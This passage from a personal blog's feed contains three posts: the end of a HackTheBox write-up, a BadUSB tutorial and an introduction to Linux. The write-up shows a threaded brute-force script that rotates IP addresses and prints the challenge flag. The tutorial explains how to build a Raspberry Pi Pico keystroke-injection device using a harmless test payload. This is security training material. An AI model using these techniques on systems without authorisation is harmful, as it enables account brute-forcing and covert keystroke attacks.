</span></span><span class="line"><span class="cl">            <span class="n">matches</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="sa">r</span><span class="s2">&#34;HTB\{(.*?)\}&#34;</span><span class="p">,</span> <span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">matches</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">for</span> <span class="k">match</span> <span class="ow">in</span> <span class="n">matches</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Flag Found: HTB{&#34;</span><span class="p">,</span> <span class="k">match</span><span class="p">,</span> <span class="s2">&#34;}&#34;</span><span class="p">,</span> <span class="n">sep</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">os</span><span class="o">.</span><span class="n">_exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">pass</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">num_threads</span> <span class="o">=</span> <span class="mi">500</span>
</span></span><span class="line"><span class="cl"><span class="n">total_numbers</span> <span class="o">=</span> <span class="mi">10000</span>
</span></span><span class="line"><span class="cl"><span class="n">chunk_size</span> <span class="o">=</span> <span class="n">total_numbers</span> <span class="o">//</span> <span class="n">num_threads</span>
</span></span><span class="line"><span class="cl"><span class="n">threads</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="n">threads2</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">50</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">t</span> <span class="o">=</span> <span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">get_ip</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">x</span> <span class="o">*</span> <span class="mi">10</span><span class="p">,))</span>
</span></span><span class="line"><span class="cl">    <span class="n">threads2</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">t</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="k">pass</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">threads2</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">t</span><span class="o">.</span><span class="n">join</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Total ip: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">ips</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_threads</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">start</span> <span class="o">=</span> <span class="n">i</span> <span class="o">*</span> <span class="n">chunk_size</span>
</span></span><span class="line"><span class="cl">    <span class="n">end</span> <span class="o">=</span> <span class="n">start</span> <span class="o">+</span> <span class="n">chunk_size</span>
</span></span><span class="line"><span class="cl">    <span class="n">thread</span> <span class="o">=</span> <span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">brute_force</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">,</span> <span class="n">ips</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl">    <span class="n">threads</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">thread</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">thread</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">thread</span> <span class="ow">in</span> <span class="n">threads</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">thread</span><span class="o">.</span><span class="n">join</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Brute force completed.&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>Code output:</p>
<p><img alt="Python code output" loading="lazy" src="/writeups/hackthebox/no-threshold-web/files/python-code-output.png#center"></p>
<p>Flag: <code>HTB{1_l0v3_h4pr0x1_4cl5_4nd_4ll_1t5_f34tur35}</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Build a Bad USB Device using Raspberry Pi Pico</title>
      <link>https://aftabsama.com/blog/build-bad-usb-using-raspberry-pi-pico/</link>
      <pubDate>Sat, 10 Aug 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/build-bad-usb-using-raspberry-pi-pico/</guid>
      <description>Use the Raspberry Pi Pico as a bad USB (badusb) device.</description>
      <content:encoded><![CDATA[<h2 id="what-is-bad-usb">What is Bad USB?</h2>
<p>When we connect a USB device to the computer, it sends a descriptor containing information such as its type, manufacturer, and product ID. Using this information, the operating system loads the appropriate driver for the device.</p>
<p>However, many common USB flash drives are vulnerable to &ldquo;BadUSB,&rdquo; which allows hackers to reprogram the device&rsquo;s microcontroller to act as a human interface device (HID). This means it can mimic a keyboard and execute customized keystrokes on the target machine.</p>
<h2 id="build-a-bad-usb-device">Build a Bad USB Device</h2>
<h3 id="requirements">Requirements</h3>
<p>We will be using a Raspberry Pi Pico W microcontroller. Raspberry Pi Pico also works.</p>
<h3 id="installing-pico-ducky">Installing pico-ducky</h3>
<p>To use the Raspberry Pi Pico as a bad USB device, we need to program it to act as an HID (Human Interface Device) device.</p>
<p>A good number of people have already done it. We will be using the <a href="https://github.com/dbisu/pico-ducky">Pico-Ducky</a> GitHub repo.</p>
<blockquote>
<p>&ldquo;If I have seen further it is by standing on the shoulders of Giants.&rdquo;
— Isaac Newton</p></blockquote>
<p>Download the <a href="https://github.com/dbisu/pico-ducky/releases/download/v2.0/pico-ducky-v2.0-us.zip">pico-ducky-v2.0-us.zip</a> preconfigured file from the GItHub repo.</p>
<p>Unzip the file; there will be two <code>.uf2</code> circuitpython files.</p>
<ul>
<li>adafruit-circuitpython-raspberry_pi_pico-en_US-8.0.0.uf2</li>
<li>adafruit-circuitpython-raspberry_pi_pico_w-en_US-8.0.0.uf2</li>
</ul>
<p>Press and hold the boot button on the Raspberry Pi Pico and connect it to the computer.</p>
<p>It will show up as a removable media device named <code>RPI-RP2</code>.
Copy the circuitpython file to the root of the Pico (RPI-RP2).
If you are using Pico W board then copy the <code>adafruit-circuitpython-raspberry_pi_pico_w-en_US-8.0.0.uf2</code> and if you are using Pico board copy <code>adafruit-circuitpython-raspberry_pi_pico-en_US-8.0.0.uf2</code>.</p>
<p>The device will reboot, and it will reconnect as <code>CIRCUITPY</code>.</p>
<p>Copy the <code>lib</code> folder and all the <code>*.py</code> files to the root of the <code>CIRCUITPY</code>.</p>
<p>Edit the payload.dd file with the <a href="https://github.com/hak5/usbrubberducky-payloads">Rubber Ducky Payload</a> that you want to execute.</p>
<p>For testing, you can use the following payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">REM Open Notepad in Windows and type &#34;Hello World!&#34;
</span></span><span class="line"><span class="cl">REM
</span></span><span class="line"><span class="cl">DELAY 2000
</span></span><span class="line"><span class="cl">GUI r
</span></span><span class="line"><span class="cl">DELAY 1000
</span></span><span class="line"><span class="cl">STRING notepad
</span></span><span class="line"><span class="cl">DELAY 500
</span></span><span class="line"><span class="cl">ENTER
</span></span><span class="line"><span class="cl">DELAY 2000
</span></span><span class="line"><span class="cl">STRING Hello World!
</span></span></code></pre></div><p>Copy the <code>payload.dd</code> file to the root of the <code>CIRCUITPY</code>.</p>
<p>If you are using the Pico W board, edit the <code>secrets.py</code> file to change the name and password for the wifi access point to run the payload using wifi.</p>
<p>Unplug the USB device and reconnect to run the Rubber Ducky payload.</p>
<h2 id="demo-video">Demo Video</h2>
<p><a href="https://www.youtube-nocookie.com/embed/Mskv-wwqtX0">https://www.youtube-nocookie.com/embed/Mskv-wwqtX0</a></p>
<h2 id="troubleshoot">Troubleshoot</h2>
<h3 id="usb-enabledisable-mode">USB enable/disable mode</h3>
<p>To enable or disable the Pico from showing as a USB mass storage device, connect pin 18 (<code>GND</code>) and pin 20 (<code>GPIO15</code>).</p>
<p><img alt="USB enable or disable mode" loading="lazy" src="/blog/build-bad-usb-using-raspberry-pi-pico/images/usb-enable-or-disable-mode.webp#center"></p>
<h3 id="setup-mode">Setup mode</h3>
<p>To edit the payload, enter setup mode by connecting pin 1 (<code>GP0</code>) to pin 3 (<code>GND</code>).
This will stop it from injecting the payload into your own machine.</p>
<p><img alt="setup mode" loading="lazy" src="/blog/build-bad-usb-using-raspberry-pi-pico/images/setup-mode.webp#center"></p>
<h3 id="debugging">Debugging</h3>
<p>If you are facing any errors and want to debug, connect to the Raspberry Pi Pico board using a serial connection type. Use tools such as PyTTY.</p>
<p>In PuTTY, connect to the correct <code>COM</code> port using a serial connection type.</p>
<p><img alt="PuTTY serial port connection" loading="lazy" src="/blog/build-bad-usb-using-raspberry-pi-pico/images/putty-connect-pico-board.webp#center"></p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/dbisu/pico-ducky">https://github.com/dbisu/pico-ducky</a></li>
<li><a href="https://www.raspberrypi.com/products/raspberry-pi-pico/#:~:text=Buy%20Raspberry%20Pi%20Pico%20series">Buy Raspberry Pi Pico</a></li>
</ul>
<br>
Happy Hacking
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Things you should know about Linux</title>
      <link>https://aftabsama.com/blog/things-you-should-know-about-linux/</link>
      <pubDate>Tue, 06 Aug 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/things-you-should-know-about-linux/</guid>
      <description>Things you should know about Linux, including its strange history and why there are so many different distributions.</description>
      <content:encoded><![CDATA[<h2 id="how-linux-was-created">How Linux was created</h2>
<h3 id="history-of-unix">History of UNIX</h3>
<p>The <code>UNIX</code> operating system was developed by <code>AT&amp;T</code> Corporation’s Bell Laboratories in the late 1960s. In 1969, a team led by computer scientists Ken Thompson and Dennis Ritchie created the first version of UNIX.</p>
<p>The formal presentation of the Unix operating system to the outside world took place at the 1973 Symposium on Operating Systems Principles, where Ritchie and Thompson delivered a paper. This gained interest, but due to a <a href="https://economics.yale.edu/sites/default/files/how_antitrust_enforcement.pdf">1956 consent decree</a> in settlement of an antitrust case, the Bell System (the parent organization of Bell Labs) was restricted from entering any business other than &ldquo;common carrier communications services&rdquo; and was obligated to license any patents it had upon request. As a result, UNIX could not be commercialized.</p>
<p>In 1983, the U.S. Department of Justice settled its second antitrust case against AT&amp;T, leading to the breakup of the Bell System. This relieved AT&amp;T of the 1956 consent decree and allowed the company to commercialize UNIX.</p>
<p>On another note, various <code>Unix-like</code> operating systems originated from the University of California, Berkeley&rsquo;s version of Unix, such as the one used today on Apple computers, known as OS X. They are termed &ldquo;Unix-like&rdquo; because the developers of the Berkeley Software Distribution (BSD) Unix worked to eliminate all the original AT&amp;T code, ensuring that their software and its descendants could be freely distributed.</p>
<p>Legal issues arose when AT&amp;T&rsquo;s Unix subsidiary sued <code>Berkeley Software Design, Inc.</code>(BSDi) for copyright infringement and other charges related to BSD; subsequently, the University of California countersued. The resulting legal complications delayed the development of free Unix-like clones, including <code>386BSD</code>, intended for the Intel 386 chip, which was commonly used in IBM PCs at that time.</p>
<p>The competition among vendors to establish a standard for the Unix operating system in the late 1980s and early 1990s was known as the <code>Unix wars</code>, which ultimately led to the development of <code>POSIX</code>.</p>
<p><img alt="Unix genealogy tree" loading="lazy" src="/blog/things-you-should-know-about-linux/images/unix-genealogy-tree.webp#center"></p>
<h3 id="portable-operating-system-interface-posix">Portable Operating System Interface (POSIX)</h3>
<p><strong>POSIX</strong>, which stands for Portable Operating System Interface, comprises a set of standards defined by the IEEE Computer Society. These standards are aimed at ensuring compatibility among different operating systems.</p>
<p>POSIX encompasses both system and user-level application programming interfaces (APIs), as well as command-line shells and utility interfaces, to facilitate software compatibility (portability) with various Unix versions and other operating systems.</p>
<h3 id="gnu-project">GNU Project</h3>
<p>In September 1983, Richard Stallman announced his intention to start coding the GNU Project in a <code>Usenet</code> message.</p>
<p>By June 1987, the project had accumulated and developed free software for an assembler, an almost finished portable optimizing C compiler (GCC), an editor (GNU Emacs), and various Unix utilities such as <code>ls</code>, <code>grep</code>, <code>awk</code>, <code>make</code>, <code>ld</code>, <code>tar</code>, and <code>bash</code>.</p>
<p>By 1992, the GNU project had completed all major operating system utilities but had not completed their proposed kernel, GNU Hurd.</p>
<h3 id="linux">Linux</h3>
<p>In April 1991, Linus Torvalds, a 21-year-old computer science student at the University of Helsinki, began working on an operating system inspired by UNIX for personal computers.</p>
<p>On 25 August 1991, Torvalds shared the following message on comp.os.minix, a newsgroup on Usenet:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Hello everybody out there using minix -
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">I&#39;m doing a (free) operating system (just a hobby, won&#39;t be big and
</span></span><span class="line"><span class="cl">professional like gnu) for 386(486) AT clones.  This has been brewing
</span></span><span class="line"><span class="cl">since april, and is starting to get ready.  I&#39;d like any feedback on
</span></span><span class="line"><span class="cl">things people like/dislike in minix, as my OS resembles it somewhat
</span></span><span class="line"><span class="cl">(same physical layout of the file-system (due to practical reasons)
</span></span><span class="line"><span class="cl">among other things).
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">I&#39;ve currently ported bash(1.08) and gcc(1.40), and things seem to work.
</span></span><span class="line"><span class="cl">This implies that I&#39;ll get something practical within a few months, and
</span></span><span class="line"><span class="cl">I&#39;d like to know what features most people would want.  Any suggestions
</span></span><span class="line"><span class="cl">are welcome, but I won&#39;t promise I&#39;ll implement them :-)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                Linus (torva[...](https://web.archive.org/web/20130509134305/http://groups.google.com/groups/unlock?_done=/group/comp.os.minix/msg/b813d52cbc5a044b&amp;msg=b813d52cbc5a044b)@kruuna.helsinki.fi)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">PS.  Yes - it&#39;s free of any minix code, and it has a multi-threaded fs.
</span></span><span class="line"><span class="cl">It is NOT protable (uses 386 task switching etc), and it probably never
</span></span><span class="line"><span class="cl">will support anything other than AT-harddisks, as that&#39;s all I have :-(.
</span></span></code></pre></div><p>Linus Torvalds originally wanted to name his invention <code>Freax</code> and stored the files under that name for about six months. However, he also considered the name <code>Linux</code> but initially thought it was too egotistical. In September 1991, the files were uploaded to the FTP server (ftp.funet.fi) of FUNET to facilitate development.</p>
<p>Ari Lemmke at Helsinki University of Technology (HUT), who was one of the volunteer administrators for the FTP server, didn&rsquo;t like the name <code>Freax</code> and decided to name the project <code>Linux</code> on the server without consulting Torvalds. Torvalds later agreed to the name <code>Linux</code>.</p>
<h3 id="gnulinux">GNU/Linux</h3>
<p>Torvalds first published the Linux kernel under its own license which had a restriction on commercial activity.</p>
<p>In 1992, he published version 0.99 using the GNU General Public License (GPL). Subsequently, Linux and GNU developers collaborated to integrate GNU components with Linux, creating a fully functional and free operating system.</p>
<p>A stable version (or variant) of GNU can be run by combining the GNU packages with the Linux kernel, making a functional Unix-like system. The GNU project calls this GNU/Linux.</p>
<h2 id="linux-distributions-distros">Linux distributions (Distros)</h2>
<h3 id="what-is-the-linux-distribution-distro">What is the Linux distribution (Distro)?</h3>
<p>A Linux distribution is an operating system that includes the Linux kernel, along with a package management system.</p>
<p>The typical components of a Linux distribution are the Linux kernel, an init system (such as <code>systemd</code>, <code>OpenRC</code>, or <code>runit</code>), GNU tools, and libraries. In addition, to provide a desktop interface, a Linux distribution might include a display server, a desktop environment (such as <a href="http://www.gnome.org/">GNOME</a>, <a href="https://mate-desktop.com/">MATE</a>, KDE Plasma, Cinnamon, or <a href="https://xfce.org/">Xfce</a>), and other related software.</p>
<p>Each distribution is tailored to meet different user needs, such as ease of use, performance, or specific applications. They are designed to serve different purposes. Some are created for enterprise users, while others are intended for home users. <br>
Some are meant to run only on specific systems, such as embedded devices, mobile devices, personal computers, servers, and powerful supercomputers.</p>
<h3 id="slackware">Slackware</h3>
<p><a href="http://www.slackware.com/">Slackware</a> is a Linux distribution created by Patrick Volkerding in 1993. Initially based on the Softlanding Linux System, Slackware has served as the foundation for numerous other Linux distributions, particularly the early versions of SUSE Linux. It holds the distinction of being the oldest maintained distribution.</p>
<h3 id="debian">Debian</h3>
<p><a href="https://www.debian.org/">Debian</a>, also known as Debian GNU/Linux, is a Linux distribution established by Ian Murdock on August 16, 1993.</p>
<p>The word &ldquo;Debian&rdquo; comes from the first name of his then-girlfriend (later ex-wife) Debra Lynn and his own first name.</p>
<p>The first version of Debian (0.01) was released on September 15, 1993, and its first stable version (1.1 Buzz) was released on June 17, 1996.</p>
<p>Debian distribution codenames are based on the names of characters from the Toy Story films.  The Debian Stable branch is the most popular edition for personal computers and servers. Known for its stability and extensive software repository.</p>
<p>Debian is also the foundation for many other distributions that serve different purposes, such as <a href="https://www.proxmox.com/en/">Proxmox</a> for servers, <a href="https://ubuntu.com/">Ubuntu</a> or [Linux Mint](<a href="https://linuxmint.com/">Linux Mint: Home Linux Mint https://linuxmint.com</a>) for desktops, <a href="https://www.kali.org/">Kali</a> for penetration testing, and <a href="https://www.pardus.org.tr/en/about/">Pardus</a> and <a href="https://astralinux.ru/">Astra</a> for government use.</p>
<h4 id="advanced-package-tool-apt">Advanced package tool (APT)</h4>
<p>The &ldquo;apt-get&rdquo; program was the replacement project for &ldquo;dselect&rdquo; known by its codename Deity. The first Debian version to include it was Debian 2.1, released on 9 March 1999.</p>
<h3 id="ubuntu">Ubuntu</h3>
<p><a href="https://ubuntu.com/">Ubuntu</a> is a Linux distribution based on Debian, consisting mostly of free and open-source software. It is officially available in multiple editions: desktop, server, and core for Internet of Things devices and robots. It is known for its user-friendliness and large community support.
It was first released in October 2004 and is managed by a British company based in London, <a href="https://canonical.com/">Canonical Ltd.</a></p>
<p>Ubuntu releases new versions every six months, with Long-Term Support (LTS) versions every two years that receive five years of support and updates.</p>
<h3 id="redhat">Redhat</h3>
<p>Founded in 1993, <a href="https://www.redhat.com/">Red Hat, Inc.</a> is an American software company that provides open-source software products to enterprises. IBM acquired Red Hat for US$34 billion in 2019.
It&rsquo;s known for focusing on security, performance, and reliability.</p>
<p>Red Hat primarily uses a subscription-based business model. It generates revenue through subscriptions that provide access to RHEL, consulting services, training and certification.</p>
<p>Its popular descendants include RHEL, <a href="https://fedoraproject.org/">Fedora</a>, and <a href="https://www.centos.org/">CentOS</a>.</p>
<h3 id="arch--gentoo">Arch &amp; Gentoo</h3>
<p><a href="https://www.gentoo.org/">Gentoo Linux</a> was officially released on March 31, 2002. It is known for its source-based package management system, Portage, which allows users to compile software tailored to their specific hardware and preferences.</p>
<p><a href="https://archlinux.org/">Arch Linux</a> had its first formal release on March 11, 2002. Arch is known for its simplicity, minimalism, and rolling release model, which ensures users always have access to the latest software updates. It uses a package manager called Pacman.</p>
<p>Both distributions cater to advanced users who prefer a high degree of customization and control over their systems. Arch is also the parent of <a href="https://manjaro.org/">Manjaro Linux</a>.</p>
<h3 id="android">Android</h3>
<p><a href="https://www.android.com/">Android</a> is an operating system that is based on the Linux kernel, but it differs from traditional Linux distributions such as Ubuntu or Fedora. Unlike traditional Linux distributions, Android does not include GNU software like the GNU C Library; instead, it uses its own C library called Bionic, along with custom components. In addition, Android uses the Android Runtime (ART) for running applications, which is not part of the standard Linux runtime environments.</p>
<p>There are custom versions of Android known as custom ROMs, which offer extra features and customization options. Some popular custom Android distributions include <a href="https://lineageos.org/">LineageOS</a>, <a href="https://paranoidandroid.co/">Paranoid Android</a>, and <a href="https://grapheneos.org/">GrapheneOS</a>.</p>
<h2 id="kernel">Kernel</h2>
<p>The Linux kernel is the core component of the Linux operating system and it is written in C Programming language. It acts as a bridge between the hardware of a computer and its software applications.</p>
<p><img alt="An oversimplification of how a kernel connects application software to the hardware of a computer" loading="lazy" src="/blog/things-you-should-know-about-linux/images/kernel-image.webp#center"></p>
<p>When you press the power button on a computer, several steps occur to start the system:</p>
<ol>
<li><strong>Power On</strong>: The power supply turns on and sends a “Power Good” signal to the CPU.</li>
<li><strong>BIOS/UEFI Initialization</strong>: The CPU runs the BIOS (Basic Input/Output System) or UEFI (Unified Extensible Firmware Interface), which initializes hardware components and performs a Power-On Self Test (POST).</li>
<li><strong>Bootloader Loading</strong>: The BIOS/UEFI loads the bootloader from the Master Boot Record (MBR) or GUID Partition Table (GPT) into RAM.</li>
<li><strong>Kernel Loading</strong>: The bootloader loads the operating system kernel into memory and hands over control to it.</li>
<li><strong>Kernel Initialization</strong>: The kernel initializes system components, loads drivers, and mounts the root filesystem.</li>
<li><strong>System Services Start</strong>: The kernel starts essential system services and daemons.</li>
<li><strong>User Interface Launch</strong>: The kernel will initiate applications in user space, launching a graphical user interface (GUI) or command-line interface (CLI).</li>
</ol>
<p>Here are some key aspects of the Linux kernel:</p>
<ul>
<li><strong>Resource Management</strong>: The kernel manages system resources such as CPU, memory, and I/O devices, ensuring efficient and fair allocation to various processes.</li>
<li><strong>Hardware Abstraction</strong>: It provides a layer of abstraction between the hardware and software, allowing applications to interact with hardware without needing to know the specifics of the hardware.</li>
<li><strong>Security</strong>: The kernel includes various security features to protect the system from unauthorized access and ensure data integrity.</li>
<li><strong>Modularity</strong>: The Linux kernel is modular, meaning it can dynamically load and unload modules (drivers) as needed, allowing for flexibility and extensibility.</li>
</ul>
<h3 id="system-calls">System calls</h3>
<p>System calls (syscalls) are the fundamental interface between an application and the Linux kernel. They allow user-space programs to request services and resources from the kernel, such as file operations, process management, and network communication.</p>
<p><img alt="Linux System Call interface" loading="lazy" src="/blog/things-you-should-know-about-linux/images/linux-system-call-interface.webp#center"></p>
<h2 id="shell">Shell</h2>
<p>A shell is a computer program that provides an interface between the user and the operating system. It allows users to interact with the system by entering commands, which the shell interprets and passes on to the operating system to execute.</p>
<p>Popular flavors of Shell:</p>
<ul>
<li><strong><a href="https://www.gnu.org/software/bash/">Bash</a> (Bourne Again Shell)</strong>: One of the most widely used shells in Unix-like systems. It offers powerful scripting capabilities and is the default shell in many Linux distributions.</li>
<li><strong><a href="https://www.zsh.org/">Zsh</a> (Z Shell)</strong>: Known for its advanced features and customization options, making it popular among power users.</li>
<li><strong><a href="https://fishshell.com/">Fish</a> (Friendly Interactive Shell)</strong>: Focuses on user-friendliness and includes features like syntax highlighting and autosuggestions.</li>
</ul>
<h2 id="linux-file-system">Linux file system</h2>
<h3 id="hierarchical-structure">Hierarchical Structure</h3>
<p>The Linux file system is organized in a hierarchical tree-like structure, starting from the root directory (<code>/</code>). All other directories and files are contained within this root directory. Some of the key directories include:</p>
<ul>
<li><strong><code>/bin</code></strong>: Contains essential user binaries (e.g., <code>ls</code>, <code>cp</code>, <code>mv</code>).</li>
<li><strong><code>/sbin</code></strong>: Contains System binary files.</li>
<li><strong><code>/boot</code></strong>: Contains boot loader files, including the kernel.</li>
<li><strong><code>/dev</code></strong>: Contains device files that represent hardware devices.</li>
<li><strong><code>/etc</code></strong>: Contains system configuration files.</li>
<li><strong><code>/home</code></strong>: Contains user home directories.</li>
<li><strong><code>/lib</code></strong>: Contains essential shared libraries.</li>
<li><strong><code>/media</code></strong>: Used for mounting removable media.</li>
<li><strong><code>/mnt</code></strong>: Used for temporarily mounting filesystems</li>
<li><strong><code>/root</code></strong>: Home directory for the root user.</li>
<li><strong><code>/tmp</code></strong>: Temporary directory. Used to store temporary files.</li>
<li><strong><code>/usr</code></strong>: These are shareable, read-only files.</li>
<li><strong><code>/var</code></strong>: Variable data files are stored here. This can include things like log files.</li>
</ul>
<h3 id="layers-of-the-linux-file-system">Layers of the Linux File System</h3>
<ol>
<li><strong>Logical File System</strong>: Acts as the interface between user applications and the file system, managing operations like opening, reading, and closing files.</li>
<li><strong>Virtual File System (VFS)</strong>: Provides a standardized interface for multiple physical file systems, allowing them to coexist and operate simultaneously.</li>
<li><strong>Physical File System</strong>: Manages the actual storage of data on the disk, handling low-level details of data allocation and retrieval</li>
</ol>
<h3 id="common-file-systems">Common File Systems</h3>
<ul>
<li><strong>ext4</strong>: The most widely used file system in Linux, known for its stability and performance.</li>
<li><strong>Btrfs</strong>: Designed for high performance and advanced features like snapshotting and self-healing.</li>
<li><strong>XFS</strong>: Known for its scalability and high performance, especially with large files.</li>
<li><strong>ZFS</strong>: Offers advanced features like data integrity verification and high storage capacity</li>
</ul>
<h3 id="file-permissions-and-ownership">File Permissions and Ownership</h3>
<p>Linux uses a permission and ownership model to control access to files and directories. Each file and directory has:</p>
<ul>
<li><strong>Owner</strong>: The user who owns the file.</li>
<li><strong>Group</strong>: A group of users who have specific permissions.</li>
<li><strong>Permissions</strong>: Read, write, and execute permissions for the owner, group, and others.
<img alt="File Permissions" loading="lazy" src="/blog/things-you-should-know-about-linux/images/file-permissions.webp#center"></li>
</ul>
<h3 id="mounting-and-unmounting">Mounting and Unmounting</h3>
<ul>
<li><strong>Mounting</strong>: The process of making a file system accessible at a certain point in the directory tree.</li>
<li><strong>Unmounting</strong>: The process of detaching a file system from the directory tree.</li>
</ul>
<h2 id="inputoutput-redirection">Input/Output Redirection</h2>
<p>Input and output in the Linux environment are distributed across three streams, which are also numbered: standard input (<code>stdin</code>) (<code>0</code>), standard output (<code>stdout</code>) (<code>1</code>), and standard error (<code>stderr</code>) (<code>2</code>).
During standard interactions between the user and the terminal, input is received from the user&rsquo;s keyboard, while output and errors are displayed as text on the user&rsquo;s terminal.</p>
<h3 id="stream-redirection">Stream Redirection</h3>
<p>In Linux, there are redirection commands for each stream. These commands can be used to write standard output or standard error to a file. If you write to a file that does not exist, a new file with that name will be created before writing.</p>
<h4 id="overwrite">Overwrite</h4>
<p>Commands with a single bracket overwrite the destination&rsquo;s existing contents:</p>
<ul>
<li><code>&gt;</code>: standard output</li>
<li><code>&lt;</code>: standard input</li>
<li><code>2&gt;</code>: Standard error
<img alt="Standard I/O Overwrite" loading="lazy" src="/blog/things-you-should-know-about-linux/images/standard-i-o-overwrite.webp#center"></li>
</ul>
<h4 id="append">Append</h4>
<p>Commands with a double bracket do not overwrite the destination&rsquo;s existing contents; instead, they append to it:</p>
<ul>
<li><code>&gt;&gt;</code>: standard output</li>
<li><code>&lt;&lt;</code>: standard input</li>
<li><code>2&gt;&gt;</code>: standard error</li>
</ul>
<p><img alt="Standard I/O Append" loading="lazy" src="/blog/things-you-should-know-about-linux/images/standard-i-o-append.webp#center"></p>
<h3 id="pipes">Pipes</h3>
<p>Pipes are used to redirect the output of one command to another command. When a command&rsquo;s standard output is sent to another through a pipe, the first command’s output will be used as input for the second command rather than being printed on the terminal. Only the data returned by the second command will be displayed.</p>
<p>The Linux pipe is represented by a vertical bar <code>|</code>.
<img alt="Pipe command output" loading="lazy" src="/blog/things-you-should-know-about-linux/images/pipe-command-output.webp#center"></p>
<h2 id="bash-script">Bash Script</h2>
<p>A Bash script is a file containing a series of commands written in the Bash (Bourne Again Shell) scripting language. Bash is a command processor that typically runs in a text window where the user types commands that cause actions. A Bash script allows you to automate tasks by writing these commands in a file and executing them as a program.</p>
<h3 id="shebang">Shebang</h3>
<p>A shebang (also known as a hashbang or sha-bang) is the character sequence <code>#!</code> at the very beginning of a script file in Unix-like operating systems. It specifies the interpreter that should be used to execute the script.</p>
<p>When you run a script, the operating system uses the shebang line to determine which interpreter to use. For example, if your script starts with <code>#!/bin/bash</code>, the system will use the Bash shell to execute the script.<br>
Example:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="nb">echo</span> <span class="s2">&#34;Hello, World!&#34;</span>
</span></span></code></pre></div><h3 id="variables">variables</h3>
<p>We can define a variable by using the syntax <code>variable_name=value</code>. To access the value of the variable, use <code>$</code> followed by the variable name.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="nv">name</span><span class="o">=</span><span class="s2">&#34;Aftab&#34;</span>  <span class="c1"># A simple variable example</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Hello </span><span class="nv">$name</span><span class="s2">&#34;</span>
</span></span></code></pre></div><p><img alt="Bash Variable Image" loading="lazy" src="/blog/things-you-should-know-about-linux/images/variables-bash-1.webp#center"></p>
<h4 id="linux-commands">Linux Commands</h4>
